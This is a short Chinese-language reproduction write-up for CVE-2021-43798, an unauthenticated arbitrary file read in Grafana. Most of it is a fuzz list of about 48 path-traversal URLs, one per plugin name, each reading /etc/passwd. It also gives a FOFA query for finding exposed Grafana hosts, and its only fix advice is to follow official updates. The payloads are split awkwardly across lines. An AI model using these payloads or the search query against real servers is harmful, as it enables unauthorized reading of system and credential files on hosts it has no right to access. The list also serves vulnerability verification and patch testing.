漏洞原理：
Grafana是一個跨平台、開源的數據可視化網絡應用程序平台。用戶配置連接的數據源之后，Grafana可以在網絡瀏覽器里顯示數據圖表和警告。Grafana 存在未授權任意文件讀取漏洞，攻擊者在未經身份驗證的情況下可通過該漏洞讀取主機上的任意文件。
CVE編號：
CVE-2021-43798
fofa語法：
app="Grafana"
影響范圍：
Grafana v8.2.6
漏洞復現：
因為不知道Grafana安裝了什么插件需要模糊測試：
/
public
/plugins/alertGroups/../../../../../../../../etc/passwd
/
public
/plugins/alertlist/../../../../../../../../etc/passwd
/
public
/plugins/alertmanager/../../../../../../../../etc/passwd
/
public
/plugins/annolist/../../../../../../../../etc/passwd
/
public
/plugins/barchart/../../../../../../../../etc/passwd
/
public
/plugins/bargauge/../../../../../../../../etc/passwd
/
public
/plugins/canvas/../../../../../../../../etc/passwd
/
public
/plugins/cloudwatch/../../../../../../../../etc/passwd
/
public
/plugins/dashboard/../../../../../../../../etc/passwd
/
public
/plugins/dashlist/../../../../../../../../etc/passwd
/
public
/plugins/debug/../../../../../../../../etc/passwd
/
public
/plugins/elasticsearch/../../../../../../../../etc/passwd
/
public
/plugins/gauge/../../../../../../../../etc/passwd
/
public
/plugins/geomap/../../../../../../../../etc/passwd
/
public
/plugins/gettingstarted/../../../../../../../../etc/passwd
/
public
/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/
public
/plugins/grafana/../../../../../../../../etc/passwd
/
public
/plugins/graph/../../../../../../../../etc/passwd
/
public
/plugins/graphite/../../../../../../../../etc/passwd
/
public
/plugins/heatmap/../../../../../../../../etc/passwd
/
public
/plugins/histogram/../../../../../../../../etc/passwd
/
public
/plugins/influxdb/../../../../../../../../etc/passwd
/
public
/plugins/jaeger/../../../../../../../../etc/passwd
/
public
/plugins/live/../../../../../../../../etc/passwd
/
public
/plugins/logs/../../../../../../../../etc/passwd
/
public
/plugins/loki/../../../../../../../../etc/passwd
/
public
/plugins/mixed/../../../../../../../../etc/passwd
/
public
/plugins/mssql/../../../../../../../../etc/passwd
/
public
/plugins/mysql/../../../../../../../../etc/passwd
/
public
/plugins/news/../../../../../../../../etc/passwd
/
public
/plugins/nodeGraph/../../../../../../../../etc/passwd
/
public
/plugins/opentsdb/../../../../../../../../etc/passwd
/
public
/plugins/piechart/../../../../../../../../etc/passwd
/
public
/plugins/pluginlist/../../../../../../../../etc/passwd
/
public
/plugins/postgres/../../../../../../../../etc/passwd
/
public
/plugins/prometheus/../../../../../../../../etc/passwd
/
public
/plugins/stat/../../../../../../../../etc/passwd
/
public
/plugins/state-timeline/../../../../../../../../etc/passwd
/
public
/plugins/status-history/../../../../../../../../etc/passwd
/
public
/plugins/
table
-old/../../../../../../../../etc/passwd
/
public
/plugins/
table
/../../../../../../../../etc/passwd
/
public
/plugins/tempo/../../../../../../../../etc/passwd
/
public
/plugins/testdata/../../../../../../../../etc/passwd
/
public
/plugins/text/../../../../../../../../etc/passwd
/
public
/plugins/timeseries/../../../../../../../../etc/passwd
/
public
/plugins/welcome/../../../../../../../../etc/passwd
/
public
/plugins/xychart/../../../../../../../../etc/passwd
/
public
/plugins/zipkin/../../../../../../../../etc/passwd
修復建議：
關注https://grafana.com/ 官方更新。